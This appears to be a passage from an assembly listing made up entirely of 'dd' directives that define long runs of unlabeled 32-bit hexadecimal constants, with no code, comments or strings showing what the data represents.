dd 3C060234h, 0D3E510D9h, 8900AC28h, 40E099DAh, 7839E735h
dd 0A8D0AEF5h, 603F6A0Bh, 8ADE5E80h, 849C4480h, 1D5491EFh
dd 0C1017C24h, 0FC0F204Eh, 0E3EDA5B0h, 606F5448h, 0D2DB311Eh
dd 8000F08Ah, 0D98DE587h, 6D390h, 0EA594366h, 6DE62832h
dd 0AA217B00h, 0FDB1FBFCh
dd 40B04F13h, 88061B04h, 0CD243C89h, 7D8110F2h, 274DA868h
dd 80673BC8h, 37002825h, 0DD7077FFh, 7A8A1D3Dh, 0CEF8964Ah
dd 0EF69E140h, 0E6021CA4h, 6B0D0973h, 7AE0E1B2h, 650BADCh
dd 3D716FBEh, 0A4C117Ch, 422C784Ch, 0F75078E2h, 325B0ADCh
dd 0E8785Ch, 0D0829CDAh, 20C98351h, 8CAC08DDh, 1F6F1082h
dd 0AA5002Ah, 4A000497h, 558F4F85h, 0FC5CFE7Dh, 5CDDF643h
dd 4F7014F2h, 0EB04891h, 0E36C6180h, 30FE1710h, 0CB2015A3h
dd 8B00EB58h, 9BD8C1B0h, 9141D43h, 0E16E1FA6h, 0AF12D065h
dd 0C6F6B805h, 3C1774E2h, 31A4E162h, 0D700028h, 60990511h
dd 1E164208h, 0E4F84036h, 8E7C2277h, 8AD026h, 260904B9h
dd 0E4D04CA6h, 89DB0A4Eh, 22F08282h, 0E0C9A262h, 0EF7B29DCh
dd 0BA7177EDh, 9008C28h, 0BE85AADEh, 0EA026CA5h, 45D08B0Ah
dd 2C3079EBh, 355109D8h, 4B6C5808h, 5408E4C0h, 0C8DC7103h
dd 1343D16Fh, 23D0DAC8h, 0C5C866B0h, 1CA2A394h, 4E85A445h
dd 30653C9Ah, 3149CC00h, 7644EAFAh, 45C84E16h, 0C8609E40h
dd 0FC5BB764h, 0A84E5004h, 100804E1h, 0FDF5246Fh, 0DFA680C4h
dd 0FE2A10C2h, 6B4EF59h, 0B3B54E1Eh, 8A9B0938h, 1CE0ADD0h
dd 82001798h, 0DE625CB7h, 60CE56D4h, 6DCB2868h, 0B900C506h
dd 0FBA5EB41h, 0A04C777Ah, 3EF187ACh, 0E180B8C2h, 5DC5B748h
dd 0BF0261F7h, 1033313Dh, 29806030h, 3C2E8997h, 0B3A68408h
dd 6F17B8A8h, 77BC8184h, 2EA43980h, 0E7532813h, 20F492DFh
dd 40898A6h, 0AEEF9D84h, 4F64B233h, 7D14E403h, 44C3A520h
dd 0DB0CACDDh, 0A341A990h, 0A028D431h, 2241DC5h, 566B7C50h
dd 2495A45Ah, 0C09361E4h, 8C381ED2h, 0B800FC7Bh, 4F1630FFh
dd 0A5509545h, 4D3F3128h, 394C818h, 0C0125984h, 7851491Fh
dd 0CE8B6400h, 0C5504DDFh, 0C10CB649h, 1425CC5Ch, 60D6742Ch
dd 0ED2EE04h, 42B74404h, 0C2BF093Dh, 0FC83B800h, 70005184h
dd 0CA5A40E7h, 0CD9B9D4Eh, 3340FC90h, 0B1F28000h, 0AF0523h
dd 371B32E2h, 7C047A52h, 0E6611200h, 21807864h, 0A0D0BCCh
dd 3861F3FFh, 5F84333Fh, 343A8B0h, 0E5A54B35h, 0DFC0415Fh
dd 58018BCEh, 5A668202h, 1FC81B10h, 99E0B8DEh, 1418A7ECh
dd 0D0C316D0h, 0C3F069E8h, 2528DE27h, 0A869C3F4h, 689859DEh
dd 37260228h, 0C01D4FF5h, 0BCE13C00h, 0B3E61200h, 113A26E8h
dd 0C203D029h, 41CA3Ch, 8269D429h, 0D265AC7Ah, 4CFD2C0Fh
dd 216C8033h, 0C0F3294Ah, 0F79A4918h, 7107E5CAh, 58C3ED36h
dd 69E70661h, 48770841h, 15106822h, 0CD6C13Eh, 212F284Dh
dd 706CAD60h, 37020BA8h, 0B9BBB84Bh, 2E9852C6h, 0E1E8289Eh
dd 68F86F16h, 0EC4D0D88h, 0FEDC18FAh, 0ECF1546Bh, 302D7839h
dd 0F279A08Bh, 0ED6BDA3Ch, 1F101141h, 8F1A6F10h, 34382895h
dd 23CC962Dh, 1AD17F2h, 7AFFCD1Ch, 2320202Bh, 36064F90h
dd 0B72E6418h, 206F1841h, 0D60C68C2h, 3F080200h, 4D81BD48h
dd 40F36B63h, 0EDDD8801h, 31A7DC35h, 93A02C50h, 0EB9D8E02h
dd 0C09E48A4h, 5D867Dh, 0A194DC73h, 79FEDE56h, 314CAF1Dh
dd 0B1F8224Ch, 0AD200F3h, 0F47CE52Dh, 0D3612B38h, 11C23C11h
dd 76B63420h, 98141668h, 89B00459h, 266200C0h, 9AEA174h
dd 603D4CB7h, 6A7D2840h, 984F1740h, 0B87C6734h, 8B49871Bh
dd 122008CEh, 213C14D8h, 0BE6EF46Bh, 88655DA5h, 0C0B44940h
dd 0D885DE16h, 55C13C87h, 0F6C4BB97h, 9C9095C4h, 0CF00E1CDh
dd 84BE1527h, 18B14E6h, 7F73241Eh, 0E8628699h, 600FDD65h
dd 7C4D52C5h, 0FC9648E0h, 348F4048h, 0DBB78040h, 19D8C3Ch
dd 0D5040B2Ch, 0A10268E0h, 902D628Ch, 313E0712h, 9FE869D0h
dd 6B53DD18h, 3C0978B7h, 0E02204B3h, 0B85CF06Ah, 10791142h
dd 0F04B2E5h, 70DCD08h, 74D47CA8h, 803D7F3Fh, 0E3747D80h
dd 3CDC78DDh, 1684B254h, 1B192301h, 6FA2D0FCh, 420F8038h
dd 1A603D5Ch, 155963DEh, 0C89644Bh, 0CC952429h, 0E77E287Fh
dd 91557AC0h, 67FE84B0h, 802095B8h, 0BBF66F38h, 9312947Ch
dd 4C007DC5h, 9EDE265Fh, 951405E7h, 0E19B5CD0h, 959C39C4h
dd 0ECB492A8h, 0F54409Ch, 0C9005090h, 7C830A97h, 720D56EEh
dd 4A0300DBh, 0F0187D6Bh, 0BB26FE61h, 0C380B8C8h, 4E16534Fh
dd 58786010h, 4D55F684h, 78A4F2EDh, 286F60C4h, 0F190C95Ah
dd 6180E010h, 10594CA2h, 0AD894E06h, 0FDFF0C18h, 640AFC9h
dd 0C66494F8h, 38B83118h, 65C2FEF0h, 0C0C06090h, 738D27A7h
dd 32D0E07Dh, 0E8780C77h, 0C84D4C90h, 39008499h, 0BBCBD8F4h
dd 0CAC12D15h, 6300440Fh, 3E8D6FC9h, 0B4B57680h, 933C0454h
dd 7D34800Bh, 0C891EB4Dh, 4302E94h, 83D5BB7h, 220B94ECh
dd 94A1586Fh, 7CBE47CCh, 0E9CD857Ch, 303C8CE0h, 15580A29h
dd 149336Fh, 0FAB1E58h, 56A08F15h, 8BE60018h, 0FBFA5C2Dh
dd 7FD200DBh, 0FE5A9FF9h, 2492E8EBh, 7DB10100h, 0FC84F812h
dd 12A8B45Ch, 2DFC074Fh, 521BD075h, 3D1A697Dh, 54800EF0h
dd 189C3F90h, 0A795484Fh, 46E00742h, 9FDE072Ch, 2A07CE7h
dd 0FCC1F06Bh, 2CC206Dh, 0C05B3CFCh, 89BD7C00h, 951FD764h
dd 58BE54A2h, 194A7801h, 5B0F460h, 797F44AFh, 0F2A0C207h
dd 23C0035Fh, 0EA98C0DBh, 77F30094h, 0D140BC8h, 0CA6ADA4Eh
dd 0E7432088h, 5989C76Ch, 0A0BD4728h, 1EFF3D18h, 1F00C4BEh
dd 1DAC2AE0h, 12AEE681h, 0A45E9F6Fh, 3600E1F0h, 0D3E51231h
dd 8B0920h, 0F9D452B5h, 0CAD964CDh, 20241CBBh, 1924E86h
dd 0A2141F10h, 5048651Fh, 1E26C63Ch, 3E60A4E5h, 9C4982F8h
dd 0F80FCB6Ch, 4F2CC057h, 0A14C9551h, 1852DC1Ch, 10AB740Dh
dd 0B811B404h, 70C00A8h, 0DBFE2CE1h, 4CAB97F1h, 3CA32C91h
dd 0E0D1A5D4h, 6428763Ch, 68E8EE8Bh, 0A1129CDCh, 408495D0h
dd 0B84DF020h, 958C026h, 7FE37A0h, 0FDD0E607h, 6043947Ah
dd 3B511780h, 3F88AE7h, 1569B9C9h, 54AEA8DBh, 0BE580133h
dd 8E0AC266h, 2878FAD0h, 0FF3C4D12h, 304E4488h, 0A7D1F903h
dd 1FFC3E08h, 3E28D63Ch, 40914B9Fh, 80125273h, 1C884442h
dd 426F61A4h, 5C5C2F97h, 51E86B80h, 26611B7h, 0B50977D9h
dd 0C530D13h, 222F2D09h, 566ED178h, 10AA6094h, 0B10138D0h
dd 0DCF44EB8h, 0FC6C5A56h, 77332209h, 7098145Ah, 0C4A11F25h
dd 0AB61267Ch, 30FE6118h, 8E033E6h, 7144A4Dh, 1378A41h
dd 0F8D3986Eh, 38F035B8h, 6A029F7Eh, 4A859BB4h, 1C00E5F0h
dd 506E2781h, 0EC4B3141h, 0F08A6F1Fh, 0D6096E38h, 22000F75h
dd 5714D3E6h, 18B9F60Bh, 30C1A03Ch, 7D019AACh, 0FB377FD7h
dd 0D1E01627h, 219B0794h, 0F04DAA0Ah, 0D6F4635Fh, 0D0E4F4A0h
dd 0BDCFFE1Fh, 0BE015905h, 18174E4h, 0B7B818B5h, 40FF9557h
dd 0CBD45B08h, 0FBEDA528h, 0F16EE712h, 67141000h, 0F354889h
dd 65A618A4h, 69E571C0h, 97701D95h, 0E8F1D6ECh, 10CB1E79h
dd 0B634C0DCh, 6F4038EFh, 10C087A7h, 0D0128D83h, 38096E19h
dd 0B12C70DCh, 90C0138Ch, 0D4DE6188h, 74336E5Eh, 3880ED18h
dd 17A53C01h, 1CE8BBBCh, 0DAE2010Ch, 3410E6FDh, 249125C0h
dd 78D16413h, 0CD3CAE0h, 59FF4D71h, 4074C820h, 9E3D570Bh
dd 81D42F51h, 0CC17BC5Ch, 0BD417989h, 9F5D1821h, 4A743748h
dd 6C20FC29h, 9BCC8030h, 4CCD4C4Bh, 4414A048h, 6F180BEFh
dd 9431643Dh, 9709B09h, 0AC71D249h, 0DE410824h, 1D3F0F32h
dd 6580B004h, 0B4132D2Fh
dd 4400BAE6h, 0E9F34535h, 49FE275Bh, 4D02840Fh, 2C72F4A8h
dd 21E0BD03h, 0C2E2B758h, 550882A2h, 2D5C64DAh, 3440BE3Ch
dd 0E6788765h, 9800364Ah, 4B8930AAh, 56AF180Dh, 3D540831h
dd 0E44AF3F6h, 98000824h, 7DDE2AC3h, 0D89460DFh, 0C0444CB2h
dd 0BB554D17h, 16C83426h, 0F2381E3Ch, 16257820h, 574C695Ch
dd 0EAEC0F6Bh, 0A3F9C584h, 0B34A0094h, 0D0E8348Fh, 0F69400EEh
dd 52790D86h, 267C5AB7h, 3CE57409h, 84D033h, 0E1F19E66h
dd 18C4D648h, 26FC7101h, 0C6B47CBFh, 4EEFD024h, 0EE98CCC3h
dd 0B80197Ch, 45BF0F0Ah, 536523F4h, 20288C5Fh, 0E26C9C01h
dd 10EF4D3Eh, 68A4403Bh, 3C9B5F37h, 65B9FF8h, 446C4089h
dd 28A06428h, 0EB81F27h, 0DF6D5B09h, 55C3032h, 7D4DFDACh
dd 0F6171338h, 2E43449h, 5EE15CA0h, 0C431E98Ch, 8F7EC4Dh
dd 7D236F17h, 0DD41D058h, 1E110063h, 0CCD7C5DFh, 0FD0BED93h
dd 20147085h, 9759016Ch, 1EE0B011h, 5D937E5h, 1DB9AF6Fh
dd 886490h, 82E8D0ABh, 280CDFF0h, 4077D3FEh, 2F433CAFh
dd 0B7117F30h, 5F3C80F4h, 0B1A8252h, 985ACAEEh, 95F86FA0h
dd 8C52600Fh, 80600F38h, 1C9CEEC8h, 77CA267Eh, 4B6260B0h
dd 751CCCC8h, 5485E6B3h, 64C676D1h, 5080F39Eh, 8D6AB53Ah
dd 3D0FAC4Dh, 8EA2E4B7h, 61AE8037h, 589E0F9Ah, 0D1C0D4B8h
dd 0EEB66BB1h, 0B70B3E18h, 248DE8C8h, 2CE89AF0h, 33F60D34h
dd 0FC2431A0h, 960424D4h, 0D6FDA76Dh, 2E779CF0h, 0C53C1257h
dd 0D882864Dh, 0CF4C70B0h, 0A4E50BBCh, 6F2581FDh, 28846344h
dd 0F0D13CC2h, 4F0B0CF8h, 60A93D42h, 488CBEBCh, 0EC05E4DDh
dd 0AD7C4AD8h, 0C7C8130Ch, 3D44585Eh, 0F0E35AD6h, 96216F82h
dd 6136458h, 0ACACB705h, 0C4775170h, 90D8AC14h, 745620CCh
dd 40883C13h, 307810E2h, 38A8089Fh, 0D70C64DDh, 38CC5410h
dd 0C9B0B8AEh, 0EC962929h, 20E0D527h, 0EB082CE0h, 0A3943C87h
dd 0E653E61Fh, 429600E8h, 0EE140C40h, 84D3828h, 0D0A63202h
dd 70293CEBh, 0E2F881B8h, 22A834h, 0B17B78D9h, 0D5B382D4h
dd 0EC4EBB00h, 0B0FE361Dh, 4718B1BEh, 0EB02C263h, 32508F1h
dd 88A88458h, 580D3D2Eh, 6503F0D3h, 153CA4FEh, 857E1113h
dd 0E81B1C22h, 4EB205E0h, 0E648C30Fh, 94C9BBE8h, 810DAD38h
dd 2610FAD9h, 0D7F55911h, 60CD884Ch, 44826009h, 8791427h
dd 8D682F00h, 0A3FE25B4h, 88D4968Fh, 9400E699h, 0A5B980A6h
dd 18492CAFh, 0AA2842A4h, 3960A854h, 20116853h, 880FF7Ch
dd 9A257D30h, 0FDAC90B1h, 0A7B940C8h, 60B750CBh, 679DFEC8h
dd 74A81850h, 8438BC32h, 0A132BAEEh, 182F8CA0h, 5C05931Eh
dd 64E763EEh, 5E8300B8h, 97FF5765h, 38A3563Ch, 0D0AFBE26h
dd 0F04D9D82h, 41207476h, 8FED574Eh, 0E27D2A10h, 0F17798A5h
dd 8D0A80A4h, 7E952B38h, 9C80A200h, 1E4D56EEh, 0F47C80E4h
dd 0DB655503h, 0E833C98Ah, 1DE08DE6h, 0D74B103Bh, 7B8881C4h
dd 73F0C0FDh, 18749EF0h, 596F170Fh, 90F2126Eh, 922CA826h
dd 0CD80C0CAh, 58A8B99Ah, 7C16AE6Eh, 0C0C8CB07h, 20204A16h
dd 0B70EABD0h, 9832062Ch, 204E484Ch, 0BB12C2DBh, 0A8A23B60h
dd 0C0E95B78h, 6F5FFE48h, 4E06C09Ch, 24304FF4h, 190970Ah
dd 0C96C5385h, 8B15E53Ch, 51147D30h, 71DD8154h, 24DFB16Dh
dd 0E4040E0h, 0AAEE0412h, 0C2A22E84h, 20F41C70h, 2CAF0A00h
dd 0B1AB62h, 771D841Eh, 6F231B4Ah, 280CF59h, 0C7FF94CAh
dd 0A2E8C1CBh, 0B11C082Ah, 0F4F4A5h, 0CA140538h, 0CC1FEDA4h
dd 8125E9FBh, 0B6996F54h, 90E1B830h, 12C1874h, 2190E112h
dd 175DCE80h, 0B15F55A2h, 29142010h, 0B227E601h, 0A4C9135Ch
dd 1A9AAC70h, 0F112717Ch, 7232B878h, 0C15F8918h, 0F8429AE8h
dd 940A87h, 0B9C70C4Ch, 209D426Fh, 0A65BD540h, 4C3877C2h
dd 9B3FB885h, 0B0F30F81h, 664952EEh, 0BADA00FCh, 0AAB5EADCh
dd 0FBB203FDh, 0A2D06511h, 0B894D94Fh, 592C2C82h, 92C2444h
dd 4E411F9h, 0FE50A896h, 13EC9AABh, 283EB7Ch, 520ADA7Dh
dd 8294B0E0h, 0D3F78D17h, 754EECE0h, 153307F1h, 0D0C04AF2h
dd 53476F12h, 0B98B0C9h, 0C30957D8h, 1840CC2Bh, 24EDCC4Dh
dd 38009424h, 5AAD80F2h, 1E659ABh, 0F99C906Ch, 30450D34h
dd 90BAAAB4h, 35DCA03h, 0A2510A20h, 4C805D37h, 303CC088h
dd 0C0273A4Bh, 5C1A6C83h, 0A16CCE9h, 3F70F56Fh, 7D026430h
dd 0F14CB809h, 0E1C2B42Dh, 54E077D0h, 6305E634h, 57DC197Fh
dd 0C22E808h, 0DAC0A314h, 0BC505902h, 56C0723Ch, 60DE0C0h
dd 0B095A2D9h, 0A0935470h, 814E51B8h, 20287B1Eh, 0CA684543h
dd 0DC3CE460h, 0D10A860h, 7E872E37h, 81540F7Ah, 69DF523h
dd 40DEECFEh, 254E0739h, 2C185142h, 241E92E0h, 0DDC08010h
dd 3A5B56D8h, 2E980Bh, 323CE574h, 3A0A10Fh, 7C2C2478h
dd 9D742952h, 2B450015h, 910AA1ACh, 4B370216h, 278A7A00h
dd 0EEDF394h, 7742E6B1h, 0D6F411C0h, 5E073B2Eh, 52182B37h
dd 0B4809565h, 503D6556h, 95CA7462h, 64F0E842h, 98802C5Ah
dd 344E0216h, 0A428490Ch, 0FE27321Ch, 0C6CC405Bh, 6BD41C3Ah
dd 891392A3h, 5E6A58h, 5961048h, 0D120B8CCh, 10569030h
dd 1A28DCD4h, 0E8C199FEh, 76670840h, 397A83h, 79B2863Ah
dd 9438FE47h, 78343A95h, 194A07FCh, 0D011487Bh, 0BFF6D3E6h
dd 65E36D00h, 5DCB7541h, 0DCF4074Dh, 65C0096Eh, 7342C061h
dd 0AE167C55h, 0DB0065F8h, 66518D27h, 96C5026Fh, 206BB1A5h
dd 81485C46h, 6FC81F58h, 0FC00B452h, 3762AE2Eh, 5A3F2FEh
dd 9384C424h, 7220F74Ah, 0B308DA0Bh, 0EE4D80EDh, 0FABDE2C2h
dd 0E43C24C7h, 2414A79Ch, 0E257313Dh, 722F1120h, 76FE1308h
dd 0A650F4C3h, 4AF86041h, 5A3BFC16h, 39000AFh, 0F93CA906h
dd 2E0D750h, 30EE453Ch, 7D0B1181h, 403D7966h, 8A2663D4h
dd 0AF010913h, 0C699815Ch, 549721D1h, 17B888DEh, 0E29C1D48h
dd 28C03262h, 1490F4DAh, 803E0838h, 94BA54B9h, 90B49A5h
dd 8F6F0684h, 3F6EA0A3h, 356401C8h, 0A833FE10h, 3D45413h
dd 0F82B36DCh, 43916DF3h, 7E77F142h, 840E1048h, 0A93B8A3Ch
dd 0EB407BACh, 0EA437424h, 6390905Fh, 365C404Ch, 60E0D4B3h
dd 8894F06Bh, 2870E580h, 5473426h, 33FDA9FAh, 89C8BC27h
dd 3E2C540Ch, 26AF1F10h, 802FC71Dh, 0B3BA2578h, 123ECDAh
dd 6218F4B7h, 0F15B5004h, 0BBF6F033h, 0B4D5C17h, 2D0F745Dh
dd 0FEC740D3h, 4FCD7Ch, 76274EB3h, 721ADC77h, 0CEF0027Ch
dd 194C6730h, 0E53BFB28h, 0D3308107h, 2C29813Eh, 0D66B7A65h
dd 0F5BD8E4h, 0CC09D1CBh, 57F42780h, 863FF8C3h, 11498F34h
dd 0C6A7637Dh, 2480078h, 0FAEA5C7Bh, 0D5303E98h, 75D460FCh
dd 0F6FB1470h, 0F3381412h, 0F4AA929Bh, 1D6D17A0h, 945E18C3h
dd 59409872h, 3EC0EF6Bh, 68226507h, 7F580941h, 0E6B0AC00h
dd 630C2629h, 11C2B780h, 5AA206A0h, 0F9735BFBh, 7AC6A61Bh
dd 94E0E779h, 1821A097h, 192A9C4Fh, 4B1FA67Fh, 9A415677h
dd 0C6D4D35Ah, 4E9EA840h, 0BF100A4h, 1BB87D92h, 5761A7CEh
dd 0D5EA1738h, 0D2374080h, 0D1AD0BF7h, 0D3F27404h, 0A000DE1Eh
dd 1BF15A92h, 0AF850784h, 0F02DA705h, 18332BF5h, 0A0A817E4h
dd 7905E052h, 0CD4EFB90h, 0C0D17800h, 15CC58C8h, 0ACFA0F3Eh
dd 1DD6BF0Eh, 0D1D33881h, 1870BDCBh, 4F208D66h, 40EC6521h
dd 0F0D037CAh, 0AA7D2FDFh
dd 43FA9215h, 0FBF101B8h, 0E4C41791h, 2B329450h, 27D10009h
dd 0F25F10EFh, 9F01FAABh, 460E8FB7h, 1180AC65h, 0F039F873h
dd 0FD3017E0h, 3BFC4019h, 42181881h, 7933510Dh, 3C4FC8A8h
dd 724D53Eh, 4AA8D458h, 0B000F3F5h, 0A6BFA12Dh, 9E911D8Fh
dd 57934260h, 0D4A05250h, 0B2036A7Fh, 0F641F801h, 231C1863h
dd 4565608Fh, 0ED20BB6Eh, 78D3AA17h, 0F288EF50h, 0DC636401h
dd 656B4FC4h, 80A75003h, 0BED30A77h, 0C3289962h, 688B60A6h
dd 124BF053h, 16A03Eh, 4228903Ch, 5A12C29Ch, 30099E40h
dd 494C0648h, 6AEF24D0h, 0A76D0878h, 8001ED12h, 0C90A5F9Ch
dd 11180880h, 0AC0275FDh, 0BD4F8828h, 0A32F88C0h, 3997BD0Ch
dd 0CD00A657h, 17A13026h, 0D8C11B0Eh, 96DA4F2Bh, 9C23C3C1h
dd 0A6D77704h, 17888833h, 20FA0C30h, 52F7D148h, 0FB12F8BCh
dd 89842369h, 0C0F6A830h, 40FD0ED3h, 76484EFEh, 17E205D0h
dd 1C63C6CFh, 3EE151F5h, 0C1E51080h, 8DCFD2D7h, 0E20029B8h
dd 7AB9CAC5h, 40CB31h, 0AB590DF8h, 48FB4533h, 9939700h
dd 0FFBDF704h, 0EC8D1E15h, 54E512D3h, 0F52440B0h, 64091890h
dd 68CE8F53h, 4A37A173h, 70F0FBFDh, 356E47Ah, 0C6825E55h
dd 2140105h, 706BB53h, 565BD62Ah, 0F003770Bh, 0BBA52D8Ch
dd 0C79006C3h, 5CEA5DA0h, 822EC56Bh, 841D0CC8h, 0E3B7340Ch
dd 0D0667EEh, 0EA238F8Ch, 296F9141h, 6F4B064Ch, 545C0C10h
dd 824703BCh, 0E06A60FBh, 1868D4E5h, 358A16C0h, 285F5525h
dd 1839C782h, 0A4E1F69h, 6E68F8EAh, 6700534Fh, 817CB252h
dd 29EB1DECh, 47C45DCCh, 0EE8AFEAh, 26C6510Eh, 8A390CDFh
dd 5ACB00F2h, 8CD1025Fh, 82251415h, 581437C5h, 20753C0h
dd 0EA8860F9h, 0DD40E70h, 0FBEA9DC1h, 82528ADDh, 983D1EC3h
dd 8416FFF6h, 340333C2h, 668322Eh, 0A208AB0Dh, 41421C51h
dd 0E282D2F8h, 5F8AE897h, 0C2004A77h, 121C7EDEh, 0C0EFB6EAh
dd 0B2BAB5C5h, 0E21F2966h, 9B8A5359h, 0F280A616h, 708E3930h
dd 8DDCDF0Ah, 8589F75Dh, 2D9469DAh, 81BFB132h, 8CF40259h
dd 31EA1484h, 69600186h, 31A06491h, 8948F190h, 6FEA7F5Bh
dd 80665CEDh, 1FA32739h, 2EF9E69Bh, 9815A019h, 9E8251h
dd 0C4695937h, 0BB2D5F54h, 5BD145A8h, 66091290h, 456201Bh
dd 6902531Eh, 1BA567D6h, 0D880154h, 8A6627EAh, 0FCDCF718h
dd 0F4C0851Ch, 5CD9312Ch, 4E901C1h, 0EEA0825h, 542A9D52h
dd 0C9E028Ch, 0FA1D6B88h, 0BB10330Ch, 2457860Dh, 0CDF08E30h
dd 0BAEAC0FCh, 68C14474h, 94FD86F4h, 43D6E28Bh, 0F4407FFEh
dd 0D9323FAEh, 301CED34h, 0BF87BE90h, 2A46AA09h, 0EAB921E9h
dd 0BB501343h, 18C7E882h, 0C484614h, 0CB07045Ah, 0DABA5247h
dd 9C908AB9h, 4039D302h, 25FC8127h, 43CA6402h, 48FFEA24h
dd 1EFC28Fh, 71F78208h, 0DB39BC3Bh, 8825F8C8h, 58E354Ch
dd 7446EA5Fh, 11ABD54h, 695BD72Ah, 0B5987A0Bh, 6318A03Dh
dd 0E8E55881h, 505DD040h, 820B0040h, 1A170FECh, 0D46FF825h
dd 0A3C44004h, 145E2124h, 89DEBCEAh, 741D8C12h, 0A7D60CB3h
dd 0EA150306h, 10F4142Ch, 307A4623h, 0D20A3B87h, 0C3043CEBh
dd 0E1268510h, 809D3D91h, 0B9300315h, 7ED86B1Fh, 6207EC0Eh
dd 0D9F8314Bh, 8053D122h, 0C61170A0h, 6AD9A016h, 2AB22634h
dd 78EA0504h, 0C6834E93h, 5BFF56ECh, 848E584Ch, 1CD9060h
dd 8C08C10h, 5FE84C3Ch, 3B33F611h, 48E49AECh, 7300BB0Eh
dd 0EAE10940h, 0A1B972Dh, 2678CCC1h, 67900412h, 0C6EA35FAh
dd 7FDE1ADFh, 5A0E6A0Dh, 6428E26h, 315BE64h, 0F709E8C2h
dd 32800B30h, 4CE19A02h, 8A0327E6h, 9EA60FCh, 659AB10h
dd 0E212CA9Eh, 9FD03DB2h, 0EBC21D93h, 8CD39F06h, 0E0AD654Fh
dd 5564BFEEh, 0FD91560Eh, 95B041C0h, 6179F6CAh, 1DBF30F3h
dd 31A1769h, 7E0D8AD7h, 0C25A41CEh, 9F8C3F61h, 0E4D654E4h
dd 84DC220Ch, 69463BBBh, 0F3823300h, 4D084205h, 0CF01E3ECh
dd 0EA32F00Dh, 24566388h, 116C31D8h, 0A6DB29CDh, 0FC97C48h
dd 25B1A933h, 0C78051E3h, 1F0D8F7Eh, 403BD9C0h, 0C3F88219h
dd 3555F36Fh, 40D8E1A6h, 0BEA4A0A2h, 68027E3Bh, 0EE19CC73h
dd 1E605766h, 9841199Fh, 0E5C12E71h, 0BCD880C9h, 63DD48EEh
dd 9A35F2EAh, 0B61993Fh, 2B222DD4h, 0A2AA8FC5h, 0E7656F96h
dd 58E19334h, 0A68D08B9h, 405BBF0Eh, 18590392h, 2A5D15EAh
dd 0BB0CF29h, 0ACEC9720h, 2E34661Bh, 0B72ACD32h, 2684D53Fh
dd 946772F8h, 37625018h, 0B19EA87Fh, 1252F51Ah, 47024058h
dd 0D15404B7h, 0C25CDB02h, 0C0003D73h, 1FBF9346h, 9FA32ABh
dd 22311FE8h, 0F86710E5h, 468AA81Dh, 4992DAh, 5489EE82h
dd 0DE026AEBh, 3340F1FCh, 0B655A0C4h, 8206805Eh, 3E3C691Ch
dd 135F9CD6h, 0F54764D3h, 5502E41h, 18022251h, 408859C7h
dd 88F7D45Dh, 3DEBED79h, 0DC8E649h, 56E2FF24h, 8ED898BEh
dd 0CE2F824Eh, 4AF2F006h, 0C987C002h, 402ACEDBh, 0CADA8AC2h
dd 0CFA15CB9h, 52EA1CFFh, 3106280Fh, 0D5C1DB0h, 7B0996D6h
dd 0C0A4803Fh, 17B353h, 0B854DBF7h, 0F938EAB9h, 0B79E78D8h
dd 1B6C2468h, 268222FCh, 68ED6F8h, 762B0AEDh, 0E5ACE24h
dd 0EC560604h, 0C7EF7383h, 0AD34082Ah, 0A8865DC8h, 984D02D6h
dd 595A1494h, 5D7E9584h, 51260D24h, 0C9D14FA3h, 0D755311Dh
dd 2EC1B564h, 0FEA04EFh, 0A584F1B6h, 6927A209h, 442D8231h
dd 2F144A40h, 430A2D87h, 44035962h, 5B7BFB6Dh, 7CE4E405h
dd 0B6C06E32h, 76F13539h, 0DCA1F3Dh, 0C5FD808h, 0A22E47DCh
dd 0C289CA06h, 17564402h, 13393CC8h, 251A040Ch, 0D82A022Dh
dd 8CA8615Bh, 0B253F543h, 990951E3h, 81880C84h, 0D4325D94h
dd 682553EAh, 2849D020h, 2E814509h, 42B14F0Dh, 0B7445A3Bh
dd 5F4DDA63h, 0A39DAD8Ch, 39766A83h, 0CBE04E02h, 0C17977F3h
dd 8E3C205h, 0FE0FBF57h, 3154F9F4h, 7463ED26h, 8A50E6CDh
dd 6A0AEC3Fh, 0F0776171h, 0A8E5AB42h, 3D24B1A9h, 12F80A0Dh
dd 3C5CDAD0h, 0D732F288h, 0AD8E4208h, 1ECA2D00h, 0D9699CEAh
dd 0CBF8052Ah, 6445D227h, 7469DB61h, 1DAB49F6h, 0A262E402h
dd 19FEA598h, 77704A81h, 8D5600AFh, 5ACC323Eh, 5C036054h
dd 0B7805806h, 46F3A81Eh, 2130AFAh, 3A072EF9h, 0E67611D1h
dd 4C23912h, 1DD816F4h, 0F70B1158h, 0B894CD1h, 0E40F813Bh
dd 0D74DCFFFh, 17E3E704h, 0F5710650h, 0E76F5B73h, 6DB08A2Ah
dd 345D320h, 342CF1CDh, 2E8569A0h, 53802999h, 0C176B151h
dd 540503E1h, 66EA74B4h, 1B67D7FCh, 0FA9B88h, 1C34BAC2h
dd 5024EA54h, 21A80F62h, 93AE155Ch, 0DF58CAE0h, 68C3C3CEh
dd 0E7C3B42h, 0A0FB830h, 1EBDC681h, 0F8EA924Fh, 83166D30h
dd 8FF004C4h, 3C873FC1h, 9ECB8B24h, 0A0C2FD5Ah, 0E068F192h
dd 890EC05Fh, 30E92414h, 4CE49249h, 0B3813954h, 38303FFh
dd 0E9D2F70Ch, 141DE0FAh, 0DECC465Bh, 1C810EE7h, 7FBBFCC5h
dd 5DE80109h, 3C38DD08h, 875AD08Fh, 55004714h, 7B3826BDh
dd 0F5038163h, 287C5299h, 0CD838F45h, 1AB78191h, 95335880h
dd 1EE9A448h, 686EDF61h, 0BD8032C1h, 64B3241Ch, 0E9FCB050h
dd 1ACF417Fh, 0D30CCF66h, 808F4701h, 0C6CC01EEh, 50E9308Eh
dd 0C0D7F69Bh, 0F303EF3Eh, 50C5367h, 0E9BEF760h, 652C6327h
dd 0C19B51D8h, 0BA01569Bh, 6EC2770Dh, 6DB3BE9h, 8044B424h
dd 6C2082ECh, 80336635h
dd 0DCF0631h, 2A81E65Ch, 2C7F57h, 605812BDh, 4E5C165h
dd 9AA486A0h, 0A406402Ah, 2434FF1Dh, 48206806h, 98EB833Bh
dd 6709E9E7h, 60211498h, 0A7C1815Dh, 0E8A25328h, 97FE4028h
dd 8956590Fh, 0FABD26E6h, 7E06AC12h, 5E02850h, 0C0833F08h
dd 55CD654h, 1DE9C331h, 3BC44EDh, 1A205A5Bh, 155621Dh
dd 8BF02906h, 0AB57BA98h, 5E805F72h, 14C25081h, 68146087h
dd 57CEE953h, 0EB246E92h, 111E932Dh, 162F5ACCh, 7F831CADh
dd 840F0620h, 33A08997h, 3F353CFEh, 5927586Fh, 0FEA8F262h
dd 414A1F40h, 0B17CDE2h, 671A8052h, 5308CE39h, 1E9302BBh
